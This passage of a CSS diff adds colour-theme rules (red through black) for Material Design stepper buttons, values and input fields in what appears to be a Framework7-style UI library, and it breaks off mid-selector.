+.md .stepper-raised .stepper-button-minus + .stepper-button-plus { + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.md .color-theme-red .stepper-button, +.md .color-theme-red .stepper-button-minus, +.md .color-theme-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .color-theme-red .stepper-button-plus:after, +.md .color-theme-red .stepper-button-minus:after, +.md .color-theme-red .stepper-button-plus:before, +.md .color-theme-red .stepper-button-minus:before { + background: #f44336; +} +.md .color-theme-red .stepper-value, +.md .color-theme-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .color-theme-red .stepper-value { + color: #f44336; +} +.md .color-theme-red .stepper .stepper-input-wrap input { + color: #f44336; +} +.md .color-theme-red .stepper-fill .stepper-button, +.md .color-theme-red .stepper-fill-md .stepper-button, +.md .color-theme-red .stepper-fill .stepper-button-minus, +.md .color-theme-red .stepper-fill-md .stepper-button-minus, +.md .color-theme-red .stepper-fill .stepper-button-plus, +.md .color-theme-red .stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .stepper-fill .stepper-button.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button.active-state, +.md .color-theme-red .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .color-theme-red .stepper-fill .stepper-button:after, +.md .color-theme-red .stepper-fill-md .stepper-button:after, +.md .color-theme-red .stepper-fill .stepper-button-minus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-red .stepper-fill .stepper-button-plus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-red .stepper-fill .stepper-button:before, +.md .color-theme-red .stepper-fill-md .stepper-button:before, +.md .color-theme-red .stepper-fill .stepper-button-minus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-red .stepper-fill .stepper-button-plus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-green .stepper-button, +.md .color-theme-green .stepper-button-minus, +.md .color-theme-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .color-theme-green .stepper-button-plus:after, +.md .color-theme-green .stepper-button-minus:after, +.md .color-theme-green .stepper-button-plus:before, +.md .color-theme-green .stepper-button-minus:before { + background: #4caf50; +} +.md .color-theme-green .stepper-value, +.md .color-theme-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .color-theme-green .stepper-value { + color: #4caf50; +} +.md .color-theme-green .stepper .stepper-input-wrap input { + color: #4caf50; +} +.md .color-theme-green .stepper-fill .stepper-button, +.md .color-theme-green .stepper-fill-md .stepper-button, +.md .color-theme-green .stepper-fill .stepper-button-minus, +.md .color-theme-green .stepper-fill-md .stepper-button-minus, +.md .color-theme-green .stepper-fill .stepper-button-plus, +.md .color-theme-green .stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .stepper-fill .stepper-button.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button.active-state, +.md .color-theme-green .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .color-theme-green .stepper-fill .stepper-button:after, +.md .color-theme-green .stepper-fill-md .stepper-button:after, +.md .color-theme-green .stepper-fill .stepper-button-minus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-green .stepper-fill .stepper-button-plus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-green .stepper-fill .stepper-button:before, +.md .color-theme-green .stepper-fill-md .stepper-button:before, +.md .color-theme-green .stepper-fill .stepper-button-minus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-green .stepper-fill .stepper-button-plus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-blue .stepper-button, +.md .color-theme-blue .stepper-button-minus, +.md .color-theme-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .color-theme-blue .stepper-button-plus:after, +.md .color-theme-blue .stepper-button-minus:after, +.md .color-theme-blue .stepper-button-plus:before, +.md .color-theme-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .color-theme-blue .stepper-value, +.md .color-theme-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .color-theme-blue .stepper-value { + color: #2196f3; +} +.md .color-theme-blue .stepper .stepper-input-wrap input { + color: #2196f3; +} +.md .color-theme-blue .stepper-fill .stepper-button, +.md .color-theme-blue .stepper-fill-md .stepper-button, +.md .color-theme-blue .stepper-fill .stepper-button-minus, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus, +.md .color-theme-blue .stepper-fill .stepper-button-plus, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .stepper-fill .stepper-button.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .color-theme-blue .stepper-fill .stepper-button:after, +.md .color-theme-blue .stepper-fill-md .stepper-button:after, +.md .color-theme-blue .stepper-fill .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill .stepper-button:before, +.md .color-theme-blue .stepper-fill-md .stepper-button:before, +.md .color-theme-blue .stepper-fill .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill .stepper-button-plus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-pink .stepper-button, +.md .color-theme-pink .stepper-button-minus, +.md .color-theme-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .color-theme-pink .stepper-button-plus:after, +.md .color-theme-pink .stepper-button-minus:after, +.md .color-theme-pink .stepper-button-plus:before, +.md .color-theme-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .color-theme-pink .stepper-value, +.md .color-theme-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .color-theme-pink .stepper-value { + color: #e91e63; +} +.md .color-theme-pink .stepper .stepper-input-wrap input { + color: #e91e63; +} +.md .color-theme-pink .stepper-fill .stepper-button, +.md .color-theme-pink .stepper-fill-md .stepper-button, +.md .color-theme-pink .stepper-fill .stepper-button-minus, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus, +.md .color-theme-pink .stepper-fill .stepper-button-plus, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .stepper-fill .stepper-button.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .color-theme-pink .stepper-fill .stepper-button:after, +.md .color-theme-pink .stepper-fill-md .stepper-button:after, +.md .color-theme-pink .stepper-fill .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill .stepper-button:before, +.md .color-theme-pink .stepper-fill-md .stepper-button:before, +.md .color-theme-pink .stepper-fill .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill .stepper-button-plus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-yellow .stepper-button, +.md .color-theme-yellow .stepper-button-minus, +.md .color-theme-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-button-plus:after, +.md .color-theme-yellow .stepper-button-minus:after, +.md .color-theme-yellow .stepper-button-plus:before, +.md .color-theme-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .color-theme-yellow .stepper-value, +.md .color-theme-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .color-theme-yellow .stepper-value { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-fill .stepper-button, +.md .color-theme-yellow .stepper-fill-md .stepper-button, +.md .color-theme-yellow .stepper-fill .stepper-button-minus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus, +.md .color-theme-yellow .stepper-fill .stepper-button-plus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .stepper-fill .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .color-theme-yellow .stepper-fill .stepper-button:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button:after, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill .stepper-button:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button:before, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-orange .stepper-button, +.md .color-theme-orange .stepper-button-minus, +.md .color-theme-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .color-theme-orange .stepper-button-plus:after, +.md .color-theme-orange .stepper-button-minus:after, +.md .color-theme-orange .stepper-button-plus:before, +.md .color-theme-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .color-theme-orange .stepper-value, +.md .color-theme-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .color-theme-orange .stepper-value { + color: #ff9800; +} +.md .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9800; +} +.md .color-theme-orange .stepper-fill .stepper-button, +.md .color-theme-orange .stepper-fill-md .stepper-button, +.md .color-theme-orange .stepper-fill .stepper-button-minus, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus, +.md .color-theme-orange .stepper-fill .stepper-button-plus, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .stepper-fill .stepper-button.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .color-theme-orange .stepper-fill .stepper-button:after, +.md .color-theme-orange .stepper-fill-md .stepper-button:after, +.md .color-theme-orange .stepper-fill .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill .stepper-button:before, +.md .color-theme-orange .stepper-fill-md .stepper-button:before, +.md .color-theme-orange .stepper-fill .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill .stepper-button-plus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-gray .stepper-button, +.md .color-theme-gray .stepper-button-minus, +.md .color-theme-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .color-theme-gray .stepper-button-plus:after, +.md .color-theme-gray .stepper-button-minus:after, +.md .color-theme-gray .stepper-button-plus:before, +.md .color-theme-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .color-theme-gray .stepper-value, +.md .color-theme-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .color-theme-gray .stepper-value { + color: #9e9e9e; +} +.md .color-theme-gray .stepper .stepper-input-wrap input { + color: #9e9e9e; +} +.md .color-theme-gray .stepper-fill .stepper-button, +.md .color-theme-gray .stepper-fill-md .stepper-button, +.md .color-theme-gray .stepper-fill .stepper-button-minus, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus, +.md .color-theme-gray .stepper-fill .stepper-button-plus, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .stepper-fill .stepper-button.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .stepper-fill .stepper-button:after, +.md .color-theme-gray .stepper-fill-md .stepper-button:after, +.md .color-theme-gray .stepper-fill .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill .stepper-button:before, +.md .color-theme-gray .stepper-fill-md .stepper-button:before, +.md .color-theme-gray .stepper-fill .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill .stepper-button-plus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-white .stepper-button, +.md .color-theme-white .stepper-button-minus, +.md .color-theme-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .color-theme-white .stepper-button-plus:after, +.md .color-theme-white .stepper-button-minus:after, +.md .color-theme-white .stepper-button-plus:before, +.md .color-theme-white .stepper-button-minus:before { + background: #ffffff; +} +.md .color-theme-white .stepper-value, +.md .color-theme-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .color-theme-white .stepper-value { + color: #ffffff; +} +.md .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.md .color-theme-white .stepper-fill .stepper-button, +.md .color-theme-white .stepper-fill-md .stepper-button, +.md .color-theme-white .stepper-fill .stepper-button-minus, +.md .color-theme-white .stepper-fill-md .stepper-button-minus, +.md .color-theme-white .stepper-fill .stepper-button-plus, +.md .color-theme-white .stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .stepper-fill .stepper-button.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button.active-state, +.md .color-theme-white .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .color-theme-white .stepper-fill .stepper-button:after, +.md .color-theme-white .stepper-fill-md .stepper-button:after, +.md .color-theme-white .stepper-fill .stepper-button-minus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-white .stepper-fill .stepper-button-plus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-white .stepper-fill .stepper-button:before, +.md .color-theme-white .stepper-fill-md .stepper-button:before, +.md .color-theme-white .stepper-fill .stepper-button-minus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-white .stepper-fill .stepper-button-plus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-black .stepper-button, +.md .color-theme-black .stepper-button-minus, +.md .color-theme-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .color-theme-black .stepper-button-plus:after, +.md .color-theme-black .stepper-button-minus:after, +.md .color-theme-black .stepper-button-plus:before, +.md .color-theme-black .stepper-button-minus:before { + background: #000000; +} +.md .color-theme-black .stepper-value, +.md .color-theme-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .color-theme-black .stepper-value { + color: #000000; +} +.md .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button, +.md .color-theme-black .stepper-fill-md .stepper-button, +.md .color-theme-black .stepper-fill .stepper-button-minus, +.md .color-theme-black .stepper-fill-md .stepper-button-minus, +.md .color-theme-black .stepper-fill .stepper-button-plus, +.md .color-theme-black .stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .stepper-fill .stepper-button.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button.active-state, +.md .color-theme-black .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button:after, +.md .color-theme-black .stepper-fill-md .stepper-button:after, +.md .color-theme-black .stepper-fill .stepper-button-minus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-black .stepper-fill .stepper-button-plus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-black .stepper-fill .stepper-button:before, +.md .color-theme-black .stepper-fill-md .stepper-button:before, +.md .color-theme-black .stepper-fill .stepper-button-minus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-black .stepper-fill .stepper-button-plus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-red .stepper-button, +.md .stepper.color-red .stepper-button-minus, +.md .stepper.color-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .stepper.color-red .stepper-button-plus:after, +.md .stepper.color-red .stepper-button-minus:after, +.md .stepper.color-red .stepper-button-plus:before, +.md .stepper.color-red .stepper-button-minus:before { + background: #f44336; +} +.md .stepper.color-red .stepper-value, +.md .stepper.color-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .stepper.color-red .stepper-value { + color: #f44336; +} +.md .stepper.color-red .stepper-input-wrap input { + color: #f44336; +} +.md .stepper.color-red.stepper-fill .stepper-button, +.md .stepper.color-red.stepper-fill-md .stepper-button, +.md .stepper.color-red.stepper-fill .stepper-button-minus, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus, +.md .stepper.color-red.stepper-fill .stepper-button-plus, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .stepper.color-red.stepper-fill .stepper-button.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .stepper.color-red.stepper-fill .stepper-button:after, +.md .stepper.color-red.stepper-fill-md .stepper-button:after, +.md .stepper.color-red.stepper-fill .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill .stepper-button:before, +.md .stepper.color-red.stepper-fill-md .stepper-button:before, +.md .stepper.color-red.stepper-fill .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill .stepper-button-plus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-green .stepper-button, +.md .stepper.color-green .stepper-button-minus, +.md .stepper.color-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .stepper.color-green .stepper-button-plus:after, +.md .stepper.color-green .stepper-button-minus:after, +.md .stepper.color-green .stepper-button-plus:before, +.md .stepper.color-green .stepper-button-minus:before { + background: #4caf50; +} +.md .stepper.color-green .stepper-value, +.md .stepper.color-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .stepper.color-green .stepper-value { + color: #4caf50; +} +.md .stepper.color-green .stepper-input-wrap input { + color: #4caf50; +} +.md .stepper.color-green.stepper-fill .stepper-button, +.md .stepper.color-green.stepper-fill-md .stepper-button, +.md .stepper.color-green.stepper-fill .stepper-button-minus, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus, +.md .stepper.color-green.stepper-fill .stepper-button-plus, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .stepper.color-green.stepper-fill .stepper-button.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .stepper.color-green.stepper-fill .stepper-button:after, +.md .stepper.color-green.stepper-fill-md .stepper-button:after, +.md .stepper.color-green.stepper-fill .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill .stepper-button:before, +.md .stepper.color-green.stepper-fill-md .stepper-button:before, +.md .stepper.color-green.stepper-fill .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill .stepper-button-plus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-blue .stepper-button, +.md .stepper.color-blue .stepper-button-minus, +.md .stepper.color-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .stepper.color-blue .stepper-button-plus:after, +.md .stepper.color-blue .stepper-button-minus:after, +.md .stepper.color-blue .stepper-button-plus:before, +.md .stepper.color-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper.color-blue .stepper-value, +.md .stepper.color-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .stepper.color-blue .stepper-value { + color: #2196f3; +} +.md .stepper.color-blue .stepper-input-wrap input { + color: #2196f3; +} +.md .stepper.color-blue.stepper-fill .stepper-button, +.md .stepper.color-blue.stepper-fill-md .stepper-button, +.md .stepper.color-blue.stepper-fill .stepper-button-minus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus, +.md .stepper.color-blue.stepper-fill .stepper-button-plus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .stepper.color-blue.stepper-fill .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper.color-blue.stepper-fill .stepper-button:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button:after, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill .stepper-button:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button:before, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-pink .stepper-button, +.md .stepper.color-pink .stepper-button-minus, +.md .stepper.color-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .stepper.color-pink .stepper-button-plus:after, +.md .stepper.color-pink .stepper-button-minus:after, +.md .stepper.color-pink .stepper-button-plus:before, +.md .stepper.color-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .stepper.color-pink .stepper-value, +.md .stepper.color-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .stepper.color-pink .stepper-value { + color: #e91e63; +} +.md .stepper.color-pink .stepper-input-wrap input { + color: #e91e63; +} +.md .stepper.color-pink.stepper-fill .stepper-button, +.md .stepper.color-pink.stepper-fill-md .stepper-button, +.md .stepper.color-pink.stepper-fill .stepper-button-minus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus, +.md .stepper.color-pink.stepper-fill .stepper-button-plus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .stepper.color-pink.stepper-fill .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .stepper.color-pink.stepper-fill .stepper-button:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button:after, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill .stepper-button:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button:before, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-yellow .stepper-button, +.md .stepper.color-yellow .stepper-button-minus, +.md .stepper.color-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-button-plus:after, +.md .stepper.color-yellow .stepper-button-minus:after, +.md .stepper.color-yellow .stepper-button-plus:before, +.md .stepper.color-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value, +.md .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value { + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-input-wrap input { + color: #ffeb3b; +} +.md .stepper.color-yellow.stepper-fill .stepper-button, +.md .stepper.color-yellow.stepper-fill-md .stepper-button, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .stepper.color-yellow.stepper-fill .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .stepper.color-yellow.stepper-fill .stepper-button:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:after, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill 